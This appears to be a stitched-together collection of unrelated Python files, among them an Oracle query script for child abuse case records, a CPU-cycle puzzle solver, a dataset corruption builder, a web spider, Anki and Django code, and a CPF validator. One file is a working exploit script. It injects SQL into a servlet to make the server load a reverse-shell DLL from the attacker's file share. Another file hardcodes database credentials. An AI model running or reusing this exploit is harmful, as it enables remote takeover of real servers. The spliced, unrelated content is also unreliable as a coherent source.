import cx_Oracle
import os
import pandas as pd
import geopy
from geopy.geocoders import Nominatim
from datetime import datetime, timedelta
import geocoder

os.environ["NLS_LANG"] = ".AL32UTF8"
location_list = ['경기', '강원', '경상남도', '경상북도', '충청남도', '충청북도', '전라남도', '전라북도', '제주특별자치도', '대전', '광주', '부산', '울산', '대구', '인천']

# sql = 'select LOCAL_ID from tempdata where local_id = ' + "'수지구'"
sql = 'select * from child_0 where 아동_성별 = ' + "'M'"

# cursor.execute(sql.encode('utf-8'))

def print_db():
    print("test1")
    cursor.execute(sql.encode('utf-8'))
    for row in cursor:
        print(row)
    print("test2")

# def read_database(case_num, child_id):
#     sql_read = "select * from child_0 where 개별사건번호 = '%d' and 피해아동대상자 = '%s'" %(int(case_num), child_id)
#     row = cursor.execute(sql_read.encode('utf-8'))
#     db_data = row.fetchone()
#     return db_data

    # locator = Nominatim(user_agent = "myGeocoder")
    # coordinates = "%f, %f" % (myloc.latlng[0], myloc.latlng[1])
    # location = locator.reverse(coordinates, language=RFC2616)
    # temp_province = location.raw['address']['province']

    # if()
def read_database():
    #DB 연결
    conn = cx_Oracle.connect("Jason/ssis1234@localhost:49161/xe")
    cursor = conn.cursor()

    #위치정보
    myloc = geocoder.ip('me')
    locator = Nominatim(user_agent = "myGeocoder")
    coordinates = "%s, %s" %(myloc.latlng[0], myloc.latlng[1])
    print(coordinates)
    location = locator.reverse(coordinates)
    my_location = None

    try:
        my_location = location.raw['address']['city']
    except(KeyError):
        pass
    try:
        my_location = location.raw['address']['province']
    except(KeyError):
        pass

    for i in range(len(location_list)):
        if my_location != location_list[i]:
            if (myloc.latlng[0] >= 37.413294 and myloc.latlng[0] <= 37.715133) and (myloc.latlng[1] >= 126.734086 and myloc.latlng[1] <= 127.269311):
                my_location = '서울'
            elif(myloc.latlng[0] >= 36.418608 and myloc.latlng[0] <= 36.733585) and (myloc.latlng[1] >= 127.126739 and myloc.latlng[1] <= 127.409310):
                my_location = '세종'
    if my_location == '경기도':
        my_location = '경기'
    elif my_location == '경상남도':
        my_location = '경남'
    elif my_location == '경상북도':
        my_location = '경북'
    elif my_location == '충청남도':
        my_location = '충남'
    elif my_location == '충청북도':
        my_location = '충북'
    elif my_location == '전라남도':
        my_location = '전남'
    elif my_location == '전라북도':
        my_location = '전북'
    elif my_location == '제주특별자치도':
        my_location = '제주'

    #날짜정보
    # case_num = request.form['case_num']
    # child_id = request.form['child_id']
    todayDate = datetime.now()
    # todayDate = tempDate.strftime('%Y-%m-%d')

    threeMonthBefore = todayDate - timedelta(days=820)
    sixMonthBefore = todayDate - timedelta(days=910)

    # 소문자 y -> 20, 대문자 Y -> 2020
    tMB_Date = threeMonthBefore.strftime('%y-%m-%d')
    sMB_Date = sixMonthBefore.strftime('%y-%m-%d')
    # db_data = db.read_database(case_num, child_id)

    tMB_Date = tMB_Date.replace('-', '/')
    sMB_Date = sMB_Date.replace('-', '/')

    # sql_read = """select * from child_0
    #             where (신고_통보일시 <= TO_DATE('%s', 'YY/MM/DD') and 신고_통보일시 >= TO_DATE('%s', 'YY/MM/DD')
    #             and 신대_통계거점 = '%s' and 결과_학대혐의여부 = 'Y')""" %(tMB_Date, sMB_Date, my_location)
    sql_read = """select 개별사건번호, 피해아동대상자, 학대행위자대상, 신대_통계거점, 결과_학대혐의여부 from child_0
                where (신고_통보일시 <= TO_DATE('%s', 'YY/MM/DD') and 신고_통보일시 >= TO_DATE('%s', 'YY/MM/DD')
                and 신대_통계거점 = '%s')""" %(tMB_Date, sMB_Date, my_location)
    row = cursor.execute(sql_read.encode('utf-8'))
    db_data = row.fetchall()
    conn.close()

    return db_data


part_2_print_yes_char = "██"
part_2_print_no_char = "  "

def run_commands(commands, cycle_limit=240):
    cycle_counter = 1
    x_register = 1
    history = {}

    current_instruction = None
    current_instruction_end = 0

    line = 0

    while cycle_counter < cycle_limit:
        # Start of cycle - begin instruction
        command = None
        if current_instruction == None:
            if len(commands) > 0:
                command = commands.pop(0)
            else:
                command = None

        if command and command.startswith("addx"):
            current_instruction = "addx"
            current_instruction_arg = int(command.split(' ')[1])
            current_instruction_end = cycle_counter + 2

        history[cycle_counter] = {
            "clock": cycle_counter,
            "x": x_register,
            "signal_strength": x_register * cycle_counter
        }

        if is_overlapping(line, cycle_counter, x_register):
            print(part_2_print_yes_char, end='')
        else:
            print(part_2_print_no_char, end='')

        if cycle_counter % 40 == 0:
            line += 1
            print("")

        # End instruction
        cycle_counter += 1

        # After instruction
        if current_instruction != None and current_instruction_end == cycle_counter:
            if current_instruction == "addx":
                x_register += current_instruction_arg
            current_instruction = None
            current_instruction_arg = 0
            current_instruction_end = 0

    return history

def is_overlapping(line, cycle_counter, x_register):
    pixel_number = cycle_counter-1 - (40 * line)

    if pixel_number == x_register - 1 or pixel_number == x_register or pixel_number == x_register + 1:
        return True
    return False

def main():
    with open("input.txt") as f:
        commands = f.read().splitlines()
        result = run_commands(commands)

        target_signal_strengths = [20, 60, 100, 140, 180, 220]

        sum_signal_strength = 0
        for t in target_signal_strengths:
            sum_signal_strength += result[t]['signal_strength']

        print("")
        print("-------------------------------------")
        print("Sum of signal strength = " + str(sum_signal_strength))

if __name__ == "__main__":
    main()


from datasets import load_dataset
from tqdm import tqdm
from random import randint, shuffle
import pandas as pd
import string
from corruption import Corrupter

def rand_ind(num_of_idx: int, u_range: int, verbose = False) -> list:

  out_list = list()

  if verbose: print(f'\nSTARTING...\n')

  for i in tqdm(range(num_of_idx)):
      flag = 0
      n_ind = randint(0, u_range-1)
      if n_ind not in out_list:
          out_list.append(n_ind)
      else:
          flag = 1
          while flag:
              n_ind_2 = randint(0, u_range-1)
              if n_ind_2 not in out_list:
                  out_list.append(n_ind_2)
                  flag = 0
              else:
                  continue

  if verbose: print(f'\nFINISHED!\n')

  return out_list

def retrieve_data(ind_list: list, u_data, lang: str, verbose = False) -> list:

  if verbose: print(f'\nSTARTING...\n')

  out_list_data = list()

  for ind in tqdm(ind_list):
      out_list_data.append(u_data['train'][ind]['translation'][lang])

  if verbose: print(f'\nFINISHED!\n')

  return out_list_data

def shuffle_str(inp_str: str) -> str:

  inp_str = inp_str.split()
  shuffle(inp_str)
  inp_str = " ".join(inp_str)

  return inp_str

########################################################MAIN FUNCTION####################################################################

def get_dataset(target_lang: str, corpus_size: int, verbose = True):

  if verbose: print('\nSTARTING!!!\n')
  ################################ LOAD AND PREPROCESS DATA FROM THE DATASET ################################

  len_pairs_list = ['ar-cs', 'ar-de', 'cs-de', 'ar-en', 'cs-en', 'de-en', 'ar-es', 'cs-es', 'de-es', 'en-es',
                    'ar-fr', 'cs-fr', 'de-fr', 'en-fr', 'es-fr', 'ar-it', 'cs-it', 'de-it', 'en-it', 'es-it',
                    'fr-it', 'ar-ja', 'cs-ja', 'de-ja', 'en-ja', 'es-ja', 'fr-ja', 'ar-nl', 'cs-nl', 'de-nl',
                    'en-nl', 'es-nl', 'fr-nl', 'it-nl', 'ar-pt', 'cs-pt', 'de-pt', 'en-pt', 'es-pt', 'fr-pt',
                    'it-pt', 'nl-pt', 'ar-ru', 'cs-ru', 'de-ru', 'en-ru', 'es-ru', 'fr-ru', 'it-ru', 'ja-ru',
                    'nl-ru', 'pt-ru', 'ar-zh', 'cs-zh', 'de-zh', 'en-zh', 'es-zh', 'fr-zh', 'it-zh', 'ja-zh',
                    'nl-zh', 'pt-zh', 'ru-zh']

  target_lang_pair = None

  for i in len_pairs_list:
      if target_lang in i:
          target_lang_pair = i

  dataset_target = load_dataset("news_commentary", target_lang_pair)

  ind_b = str(dataset_target['train']).index('num_rows: ') + 10
  ind_e = str(dataset_target['train']).index('\n})')
  num_rows_total  = int(str(dataset_target['train'])[ind_b:ind_e])

  if verbose: print('\nGETTING INDICES...\n')
  inds_target = rand_ind(corpus_size, num_rows_total)

  if verbose: print('\nRETRIEVING DATA...\n')
  data_target  = retrieve_data(inds_target, dataset_target, target_lang)

  ################################ CORRUPTER STAGE ################################

  corrupter = Corrupter() # initialize corrupter

  list_ones = data_target[:int(corpus_size/2)]
  list_zeros = data_target[int(corpus_size/2):]

  if verbose: print('\nCORRUPTING DATA...\n')

  for i, v in enumerate(tqdm(list_ones)): # corrupt 50% of the data in "list_ones"
      rand_num = randint(10, 1000)
      rand_num2 = randint(0, 100)
      corr_sent = corrupter.corrupt(v, syn=0, typo=rand_num).split()
      corr_sent = ' '.join([corr_sent[i-1]+v if v in string.punctuation else v for i, v in enumerate(corr_sent)])

      if rand_num2 >= 50:
          corr_sent = shuffle_str(corr_sent)
      list_ones[i] = corr_sent

  ################################ OUTPUT CSV ################################

  if verbose: print('\nOUTPUTING CSV...\n')

  list_ones.extend(list_zeros)

  assert len(list_ones) == corpus_size, f"Mismatch of the intended corpus size: {corpus_size} and the recieved one: {len(list_ones)}"

  len_ones = len(list_ones)

  l1 = [1 for i in range(int(corpus_size/2))]
  l0 = [0 for i in range(int(corpus_size/2))]

  l1.extend(l0)

  df_out = pd.DataFrame(list(zip(l1, list_ones)), columns = ['label', 'text'])
  df_out.to_csv(f'training_data_fluency_{target_lang}_{round(len(list_ones)/1000)}k.csv', index=False, encoding='utf-8')

  if verbose: print('\nFINISHED!!!\n')

  pass


# from urllib import response
import scrapy

from news_parse.news_parse.items import NewsParseItem
from scrapy.loader import ItemLoader

class LinksSpider(scrapy.Spider):
    name = "links"
    trashbox = ''
    start_urls = ['https://trashbox.ru/texts/' + trashbox, ]

    def parse(self, response):
        self.trashbox = str(int (response.css('span.span_item_active::text').get()) - 1)
        for link in response.css('a.a_topic_cover::attr(href)'):
            yield response.follow(link, callback=self.parse_trashbox)

    def parse_trashbox(self, response):
        ld = ItemLoader(item=NewsParseItem(), response=response)

        ld.add_value('next', self.trashbox)
        ld.add_css('text', 'p::text')
        ld.add_css('title', 'title::text')
        ld.add_value('link', response)

        yield ld.load_item()


# -*- coding: utf-8 -*-
"""
Created on Tue Jun  7 21:14:13 2022

@author: Davi
"""

print("Seja bem-vindo.")
km_perc = float(input("Qual a quantidade de KM percorridos?"))
dias_uso = int(input("Qual a quantidade de dias utilizados?"))

calculo_dias = dias_uso * 60
calculo_km = km_perc * 0.15
total = calculo_dias + calculo_km

print(f"Você utilizou o veículo por {dias_uso} e utilizou um total de {km_perc} percorridos ")
print(f"logo, você deve pagar {total} em reais")

3.14 - preco a pagar por km rodado e dias.py


import genanki
import random
from datetime import datetime
from ..shared.date_core import format_dt
from .templates import to_base_template, to_base_highlight_template
from .question_type import QuestionType
from .parse_type import ParseType

def generate_anki(words_or_questions, parse_type):
    date = format_dt(datetime.now()).replace(' ', '_')
    deck_id = get_id()
    deck_name = f"English_{date}"
    my_deck = genanki.Deck(deck_id, deck_name)
    for w_or_q in words_or_questions:
        model = get_model(deck_name)
        anki_question = None
        anki_answer = None
        if parse_type == ParseType.URL.value:
            anki_question, anki_answer = get_from_dict('translation', 'original_value', w_or_q)
        elif parse_type == ParseType.MARKDOWN.value:
             anki_question, anki_answer = get_from_dict('question', 'answer', w_or_q)
        elif parse_type in [ParseType.JSON.value, ParseType.YAML.value]:
            question_type = w_or_q.get('type')
            question_answer_func = get_question_answer_func(question_type)
            anki_question, anki_answer = question_answer_func(w_or_q)
        my_note = genanki.Note(model=model, fields=[anki_question, anki_answer])
        my_deck.add_note(my_note)
    anki_folder = './'
    anki_questions_file = anki_folder + f"anki_question_{date}.apkg"
    genanki.Package(my_deck).write_to_file(anki_questions_file)
    return anki_questions_file

def get_question_answer_func(question_type):
    if question_type == QuestionType.SIMPLE_QUESTION.value:
        return generate_simple_question
    if question_type == QuestionType.HIDDEN_WORD_IN_SENTENCE.value:
        return generate_hidden_word_in_sentence
    if question_type == QuestionType.RANDOM_WORD_SENTENCE.value:
        return generate_random_word

def get_model(deck_name):
    model_id = get_id()
    model = genanki.Model(
        model_id,
        deck_name,
        fields=[
          {'name': 'Question'},
          {'name': 'Answer'},
        ],
        templates=[
          {
            'name': 'Card type 1',
            'qfmt': '{{Question}}',
            'afmt': '{{FrontSide}}
{{Answer}}',
          },
        ]
    )
    return model

def get_id():
    return random.randrange(1 << 30, 1 << 31)

def get_titles(question):
    next_line = '
'
    question_title = f"{question.get('questionTitle')}{next_line}" if question.get('questionTitle') else ''
    answer_title = f"{question.get('answerTitle')}{next_line}" if question.get('answerTitle') else ''
    return question_title, answer_title

def generate_simple_question(question):
    question_title, answer_title = get_titles(question)
    anki_question = to_base_template(f"{question_title}{question.get('question')}")
    anki_answer = to_base_template(f"{answer_title}{question.get('answer')}")
    return anki_question, anki_answer

def generate_hidden_word_in_sentence(question):
    question_title, answer_title = get_titles(question)
    anki_question = question.get('src')
    anki_answer = question.get('src')
    for i, q in enumerate(question.get('questions')):
        anki_question = anki_question.replace('{'+str(i)+'}', q)
        anki_answer = anki_answer.replace('{'+str(i)+'}', f"{question.get('answers')[i]}")
    anki_question = to_base_template(f'{question_title}{anki_question}')
    anki_answer = to_base_highlight_template(f'{answer_title}{anki_answer}')
    return anki_question, anki_answer

def generate_random_word(question):
    question_title, answer_title = get_titles(question)
    is_question = True if question.get('src').find('?') > -1 else False
    sentence_in_words = question.get('src').replace('?', '').split()
    random.shuffle(sentence_in_words)
    if is_question:
        sentence_in_words.append('?')
    anki_question = to_base_template(f"{question_title}{' / '.join(sentence_in_words)}")
    anki_answer = to_base_template(f"{answer_title}{question.get('src')}")
    return anki_question, anki_answer

def get_from_dict(front_key, back_key, src):
    anki_question = to_base_template(src.get(front_key))
    anki_answer = to_base_template(src.get(back_key))
    return anki_question, anki_answer


# -*- coding: UTF8 -*-
from operator import mul

from random import randrange

from django.test import TestCase
from django.utils import simplejson

class PagesTest(TestCase):
    """Math engine app tests"""

    def test_math_engine_exists(self):
        """GET math engine exists?"""

        values = [randrange(-10, 10) for i in range(5)]
        answer = self.client.get('/math-engine/?values=%s' % values)
        self.assertEqual(answer.status_code, 200, msg=(
            'GET /math-engine/?values=%s %s' % (values, answer.status_code)))

    def test_math_engine_is_correct(self):
        """GET math engine response is correct?"""

        values = [randrange(-10, 10) for i in range(5)]
        answer = self.client.get('/math-engine/?values=%s' % values)
        # Load JSON
        content_dict = simplejson.loads(answer.content)
        # Sum
        self.assertEqual(content_dict['sum'], sum(values))
        # Product
        self.assertEqual(content_dict['product'], reduce(mul, values))


import sys, requests, argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

s = requests.session()
proxies = {
  "http": "http://127.0.0.1:8080",
  "https": "http://127.0.0.1:8080",
}

def delivery(ip, lhost):
	print("\n[+] Crafting payload")
	query = "CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS $$\\\\%s\\revshell\\revshell.dll$$, $$dummy_function$$ LANGUAGE C STRICT;--" % lhost
	print("\n[+] Pulling DLL payload file from file share")
	target = "https://%s/servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;" % ip
	s.get(target + query, proxies=proxies, verify=False)

def main():
	parser = argparse.ArgumentParser()
	parser.add_argument('--ip', help='Target IP address', required=True)
	parser.add_argument('--lhost', help='Local listener IP address', required=True)
	if len(sys.argv)<=1:
		print("[!] Usage: python3 %s --ip 192.168.0.5:8443 --lhost 192.168.0.1" % sys.argv[0])
		parser.print_help()
		sys.exit(-1)
	args = parser.parse_args()
	ip = args.ip
	lhost = args.lhost

	delivery(ip, lhost)

if __name__ == "__main__":
	main()


from cmath import atan
import numpy as np
if __name__ == "__main__":
    np.random.seed(12)

    a = np.random.randint(1, 10, (3, 5))
    a_t = np.transpose(a)

    print(a)
    print(a_t)
    print(a.T)


#%%
import gensim
import os
import collections
import smart_open
import random
import pickle
import time
import sys
from gensim.test.utils import get_tmpfile
from callback import EpochLogger, EpochSaver

data_prefix = ''.join(sys.argv[1:])
rela_path = 'dataset/jp/' + data_prefix
text_path, dic_path = rela_path + '.txt', rela_path + '.dic'

# Load the dictionary (url 2 indices)
print("Load dictionary for url to indices...", flush=True)
t1 = time.time()
with open(dic_path, 'rb') as f:
    url_to_i =  pickle.load(f)

t2 = time.time()
print('Finished loading dictionary, took {:.3f} secs\n'.format(t2 - t1), flush=True)

def read_corpus(fname, token_only=False):
    with smart_open.open(fname, encoding='utf-8') as f:
        i = 0
        for line in f:
            url, *words = line.split()
            words = ' '.join(words)
            if token_only:
                yield gensim.utils.simple_preprocess(words)
            else:
                yield gensim.models.doc2vec.TaggedDocument(gensim.utils.simple_preprocess(words), [i])
                i += 1

print("Start loading the corpus...", flush=True)
t1 = time.time()
train_corpus = list(read_corpus(text_path))
t2 = time.time()
print("Finished loading the corpus, took {:.3f} secs".format(t2 - t1), flush=True)
print("The first 10 data of corpus are:\n")
for i in range(10):
    print(train_corpus[i], '\n')

total_word_cnt = sum([len(doc.words) for doc in train_corpus])
print("The corpus has {} instances in total, {} words\n".format(len(train_corpus), total_word_cnt), flush=True)

# Build a Doc2Vec model with Japanese text data crwaled on specified date.
epoch_logger = EpochLogger()
epoch_saver = EpochSaver('model/{}_doc2vec_jp'.format(data_prefix))

print("Start to train the model...", flush=True)
model = gensim.models.doc2vec.Doc2Vec(vector_size=100, min_count=5, epochs=20, callbacks=[epoch_logger, epoch_saver])
model.build_vocab(train_corpus)

t1 = time.time()
model.train(train_corpus, total_examples=model.corpus_count, epochs=model.epochs)
t2 = time.time()
print("Finished training, took {:.3f} secs\n".format(t2 - t1), flush=True)

# Save the corpus as a list.
t1 = time.time()
print("Start to pickle the training corpus.", flush=True)

with open('dataset/jp/{}_train_corpus.lst'.format(data_prefix), 'wb') as f:
    pickle.dump(train_corpus, f)

t2 = time.time()
print("Finished pickling the training, corpus, took {:.3f} secs\n".format(t2 - t1), flush=True)


import os
import unittest
from copy import copy
from PIL import Image
from flask.ext.imagine.filters.crop import CropFilter

class TestCropFilter(unittest.TestCase):
    image_png = None
    image_jpg = None
    image_tif = None
    image_bmp = None

    def setUp(self):
        assets_path = os.path.abspath(os.path.dirname(__file__)) + '/../static/'
        assets_path = os.path.normpath(assets_path)

        image_png_path = assets_path + '/flask.png'
        self.image_png = Image.open(image_png_path)

        image_jpg_path = assets_path + '/flask.jpg'
        self.image_jpg = Image.open(image_jpg_path)

        image_tif_path = assets_path + '/flask.tif'
        self.image_tif = Image.open(image_tif_path)

        image_bmp_path = assets_path + '/flask.bmp'
        self.image_bmp = Image.open(image_bmp_path)

    def test_wrong_init_parameters(self):
        with self.assertRaises(TypeError):
            CropFilter()

        with self.assertRaises(TypeError):
            CropFilter(start='string')

        with self.assertRaises(TypeError):
            CropFilter(size='string')

        with self.assertRaises(ValueError):
            CropFilter(start='string', size='string')

        with self.assertRaises(ValueError):
            CropFilter(start='string', size=[100, 100])

        with self.assertRaises(ValueError):
            CropFilter(start=[0, 0], size='string')

        with self.assertRaises(ValueError):
            CropFilter(start=[1], size=[100, 100])

        with self.assertRaises(ValueError):
            CropFilter(start=[0, 0], size=[100])

        with self.assertRaises(ValueError):
            CropFilter(start=[1, 2, 3], size=[100, 100])

        with self.assertRaises(ValueError):
            CropFilter(start=[0, 0], size=[100, 100, 100])

    def test_wrong_resource_type(self):
        crop = CropFilter(start=[0, 0], size=[800, 600])
        with self.assertRaises(ValueError):
            crop.apply('string')

    def test_success_horizontal_with_start_from_zero(self):
        crop = CropFilter(start=[0, 0], size=[800, 600])

        image_png = copy(self.image_png)
        image_png = crop.apply(image_png)
        self.assertTupleEqual((800, 500), image_png.size)

        image_jpg = copy(self.image_jpg)
        image_jpg = crop.apply(image_jpg)
        self.assertTupleEqual((800, 500), image_jpg.size)

        image_tif = copy(self.image_tif)
        image_tif = crop.apply(image_tif)
        self.assertTupleEqual((800, 500), image_tif.size)

        image_bmp = copy(self.image_bmp)
        image_bmp = crop.apply(image_bmp)
        self.assertTupleEqual((800, 500), image_bmp.size)

    def test_success_horizontal_with_start_from_point(self):
        crop = CropFilter(start=[100, 100], size=[800, 600])

        image_png = copy(self.image_png)
        image_png = crop.apply(image_png)
        self.assertTupleEqual((800, 400), image_png.size)

        image_jpg = copy(self.image_jpg)
        image_jpg = crop.apply(image_jpg)
        self.assertTupleEqual((800, 400), image_jpg.size)

        image_tif = copy(self.image_tif)
        image_tif = crop.apply(image_tif)
        self.assertTupleEqual((800, 400), image_tif.size)

        image_bmp = copy(self.image_bmp)
        image_bmp = crop.apply(image_bmp)
        self.assertTupleEqual((800, 400), image_bmp.size)

    def test_success_with_oversize(self):
        crop = CropFilter(start=[0, 0], size=[1500, 1000])

        image_png = copy(self.image_png)
        image_png = crop.apply(image_png)
        self.assertTupleEqual((1000, 500), image_png.size)

        image_jpg = copy(self.image_jpg)
        image_jpg = crop.apply(image_jpg)
        self.assertTupleEqual((1000, 500), image_jpg.size)

        image_tif = copy(self.image_tif)
        image_tif = crop.apply(image_tif)
        self.assertTupleEqual((1000, 500), image_tif.size)

        image_bmp = copy(self.image_bmp)
        image_bmp = crop.apply(image_bmp)
        self.assertTupleEqual((1000, 500), image_bmp.size)

    def test_error_with_out_of_range(self):
        crop = CropFilter(start=[1000, 1000], size=[1500, 1000])

        image_png = copy(self.image_png)
        image_png = crop.apply(image_png)
        self.assertTupleEqual((1000, 500), image_png.size)

        image_jpg = copy(self.image_jpg)
        image_jpg = crop.apply(image_jpg)
        self.assertTupleEqual((1000, 500), image_jpg.size)

        image_tif = copy(self.image_tif)
        image_tif = crop.apply(image_tif)
        self.assertTupleEqual((1000, 500), image_tif.size)

        image_bmp = copy(self.image_bmp)
        image_bmp = crop.apply(image_bmp)
        self.assertTupleEqual((1000, 500), image_bmp.size)


import numpy as np

# recebe os 9 digitos iniciais
cpf_9 = str(input("Digite os 9 primeiros digitos do CPF: "))

# recebe os 2 digitos finais de controle
cpf_controle = str(input("Digite os (2) digitos de controle: "))

# separa os numeros do cpf_9 em uma lista
lista_cpf = [int(d) for d in str(cpf_9)]

# cria uma nova_lista e preenche com 0
nova_lista = np.zeros(9)
multiplicado = 0
digitu_1 = 0

# -----------------------------
# -----geração do 1 digito-----

# multiplicacao de cada digito
for i in range(9):
    nova_lista[i] = lista_cpf[i] * (10 - i)
    multiplicado += nova_lista[i]

# modulo 11 para obter o resto
restu = multiplicado % 11

# decide qual vai ser o primeiro digito baseado no resto obtido
if (restu >= 2):
    digitu_1 = 11 - restu
elif ((restu == 1) or (restu == 0)):
    digitu_1 = 0

# adiciona o primeiro digito de controle na lista_cpf
# adiciona esse digito para uma variavel propria para o digito de controle
lista_cpf.append(int(digitu_1))
digitos_controle = str(int(digitu_1))

# -----------------------------
# -----geração do 2 digito-----

# mesmo procedimento com adesão do primeiro digito de controle

digitu_2 = 0
multiplicado_2 = 0
nova_nova_lista = np.zeros(10)

for i in range(10):
    nova_nova_lista[i] = lista_cpf[i] * (11 - i)
    multiplicado_2 += nova_nova_lista[i]

restu_2 = multiplicado_2 % 11

if (restu_2 >= 2):
    digitu_2 = 11 - restu_2
else:
    digitu_2 = 0

# adiciona o segundo digito de controle na lista_cpf
lista_cpf.append(int(digitu_2))
digitos_controle += str(int(digitu_2))

# gera um o cpf formatado corretamente
cpf_certu = ''
for i in range(9):
    cpf_certu += str(lista_cpf[i])

cpf_certu += '-'
cpf_certu += str(int(digitu_1))
cpf_certu += str(int(digitu_2))

# olha se o digitos_controle informado é valido, comparando com o obtido
print("\n")

if(cpf_controle == digitos_controle):
    print("CPF valido")
    print(f"CPF: {cpf_certu}")

else:
    print("CPF invalido")
    print(f"Os digitos de controle deveriam ser: {digitos_controle}")
    print(f"CPF correto: {cpf_certu}")


#esse script cria a lista de frases que vão virar estatistica
import random
acoes = ['comprar', 'saber', 'ver', 'vender']
nomes = ['Lucas', 'Taylor', 'Joao', 'Maria', 'Juliana', 'Erika']
produtos = ['teclado', 'mouse', 'monitor', 'cpu']

arq = open('lista.txt','w')

for i in range(70):
    acao = random.choice(acoes)
    produto = random.choice(produtos)
    nome = random.choice(nomes)
    if acao == 'saber':
        arq.write('Oi, eu sou o  {0}. Gostaria de {1} o preço de um {2} \n'.format(nome, acao, produto))
    else:
        arq.write('Eu sou o {0}. Gostaria de {1} um {2} \n'.format(nome, acao, produto))

arq.close()
print ("Lista criada.")


import os, time
import os.path as osp
import threading as td
from queue import Queue
from abc import ABC, abstractmethod

class Picker(ABC):
    def __init__(self, user, repo, branch, files, retry=10, threads=os.cpu_count()):
        self.user = user
        self.repo = repo
        self.branch = branch
        self.files = files
        self.retry = retry
        self.tasks = Queue()
        self.lock = td.Lock()
        self.threads = threads
        self.running = False
        self.failed = False
        self.non_txt_suffixes = set([
            'png', 'jpg',
        ])

        os.makedirs(self.repo, exist_ok=True)
        if 'file' in self.files:
            dirnames = set()
            for file in self.files['file']:
                filename = f'{self.repo}/{file}'
                dirnames.add(osp.dirname(filename))
            for dirname in dirnames:
                os.makedirs(dirname, exist_ok=True)

    @staticmethod
    def suffix(file):
        basename = osp.basename(file)
        i = basename.rfind('.')
        if i == -1: return ''
        return basename[i+1:]

    def skip(self, file):
        suffix = self.suffix(file)
        return suffix in self.non_txt_suffixes

    @staticmethod
    def check_arg(str_or_list):
        if isinstance(str_or_list, list):
            return str_or_list
        elif isinstance(str_or_list, str):
            return [str_or_list]
        else:
            raise RuntimeError('only support str or list!')

    def pick(self):
        self.running = True
        threads = [td.Thread(target=self.download_thread) for _ in range(self.threads)]
        _ = [thread.start() for thread in threads]

        if 'file' in self.files:
            files = self.check_arg(self.files['file'])
            self.lock.acquire()
            for file in files:
                self.tasks.put(file)
            self.lock.release()
        if 'dir' in self.files:
            dirs = self.check_arg(self.files['dir'])
            for dir in dirs:
                self.download_dir(dir)

        self.running = False
        _ = [thread.join() for thread in threads]

    def save_file(self, filename, lines):
        with open(filename, 'w', encoding='utf-8') as f:
            for i in range(len(lines)-1):
                f.write(lines[i] + '\n')
            f.write(lines[-1])

    def download_thread(self):
        while self.running or not self.tasks.empty():
            if self.failed:
                return
            if not self.tasks.empty():
                self.lock.acquire()
                task = None
                if not self.tasks.empty():
                    task = self.tasks.get()
                self.lock.release()
                if task: self.download_file(task)
            else:
                time.sleep(1)

    @abstractmethod
    def get_file_lines(self, url):
        ...

    @abstractmethod
    def get_dir_items(self, url):
        ...

    def download_file(self, file):
        if not self.skip(file):
            print(f'downloading {self.repo}/{file}')
        else:
            print(f'skip to download non text file: {self.repo}/{file}')
            return
        retry, lines = 0, None
        while not self.failed and retry < self.retry:
            try:
                lines = self.get_file_lines(file)
                break
            except:
                retry += 1
                print(f'retry[{retry}/{self.retry}] {self.repo}/{file} failed!')
                time.sleep(1)

        if lines is None or retry == self.retry:
            self.failed = True
            raise RuntimeError(f'retry[{retry}/{self.retry}] downloading {self.repo}/{file} failed!')

        filename = f'{self.repo}/{file}'
        self.save_file(filename, lines)

    @abstractmethod
    def parse_items(self, items):
        ...

    def download_dir(self, dir):
        print(f'downloading {self.repo}/{dir}')
        os.makedirs(f'{self.repo}/{dir}', exist_ok=True)
        retry, items = 0, None
        while not self.failed and retry < self.retry:
            try:
                items = self.get_dir_items(dir)
                break
            except:
                retry += 1
                print(f'retry[{retry}/{self.retry}] {self.repo}/{dir} failed!')
                time.sleep(1)

        if items is None or retry == self.retry:
            self.failed = True
            raise RuntimeError(f'retry[{retry}/{self.retry}] downloading {self.repo}/{dir} failed!')

        _dirs, _files = self.parse_items(items)

        self.lock.acquire()
        for file in _files:
            self.tasks.put(file)
        self.lock.release()
        for dir in _dirs:
            self.download_dir(dir)


from flask import Flask
from spider import get_weather

app = Flask(__name__)

@app.route('/')
def weather():
    try:
        resp = get_weather()
    except Exception as e:
        return ""

    return resp

if __name__ == '__main__':
    app.run(debug=True)


from django.contrib.auth.models import (
    AbstractUser,
    UserManager as DjangoUserManager,
)
from django.db import models

# 프록시 모델에서 사용했던 프록시 모델 매니저
from rest_framework.authtoken.models import Token

class UserManager(DjangoUserManager):
    def create_superuser(self, *args, **kwargs):
        return super().create_superuser(age=30, *args, **kwargs)

class User(AbstractUser):
    # 소셜 유저 타입 정의
    USER_TYPE_FACEBOOK = 'f'
    USER_TYPE_DJANGO = 'd'
    CHOICES_USER_TYPE = (
        (USER_TYPE_FACEBOOK, 'facebook'),
        (USER_TYPE_DJANGO, 'django'),
    )
    user_type = models.CharField(max_length=1, choices=CHOICES_USER_TYPE)
    # 여러 가지 요소들
    nickname = models.CharField(max_length=50, blank=True, null=True)
    img_profile = models.ImageField(
        '프로필 이미지',
        upload_to='user',
        blank=True)
    age = models.IntegerField('나이')
    # 좋아요
    like_posts = models.ManyToManyField(
        'post.Post',
        verbose_name='좋아요 누른 포스트 목록',
        blank=True
    )
    # 내가 팔로우하고 있는 유저 목록
    #
    # 내가 A를 follow한다 == 나는 A의 follower

    following_users = models.ManyToManyField(
        'self',
        through='Relation',
        symmetrical=False,
        related_name='followers',
    )

    objects = UserManager()

    class Meta:
        verbose_name = '사용자'
        verbose_name_plural = f'{verbose_name} 목록'

    # REQUIRED_FIELDS = AbstractUser.REQUIRED_FIELDS + ['age']

    @property
    def token(self):
        return Token.objects.get_or_create(user=self)[0].key

    def follow_toggle(self, user):
        """
        1. 주어진 user가 user 객체인지 확인

        :param user:
        :return:
        """
        if not isinstance(user, User):
            raise ValueError('"user" argument must be User instance!')

        relation, relation_created = self.following_user_relations.get_or_create(to_user=user)
        if relation_created:
            return True
        relation.delete()
        return False

class Relation(models.Model):
    # User follow 목록을 가질 수 있도록
    # MTM에 대한 중개모델을 구성
    # from_user, to_user, created_at으로 3개의 필드를 사용
    from_user = models.ForeignKey(
        User,
        on_delete=models.CASCADE,
        related_name='following_user_relations'
    )
    to_user = models.ForeignKey(
        User,
        on_delete=models.CASCADE,
        related_name='follower_relations'
    )
    created_at = models.DateTimeField(auto_now_add=True)

    def __str__(self):
        return f'Relation (' \
               f'from: {self.from_user.username}, ' \
               f'to: {self.to_user.username})'


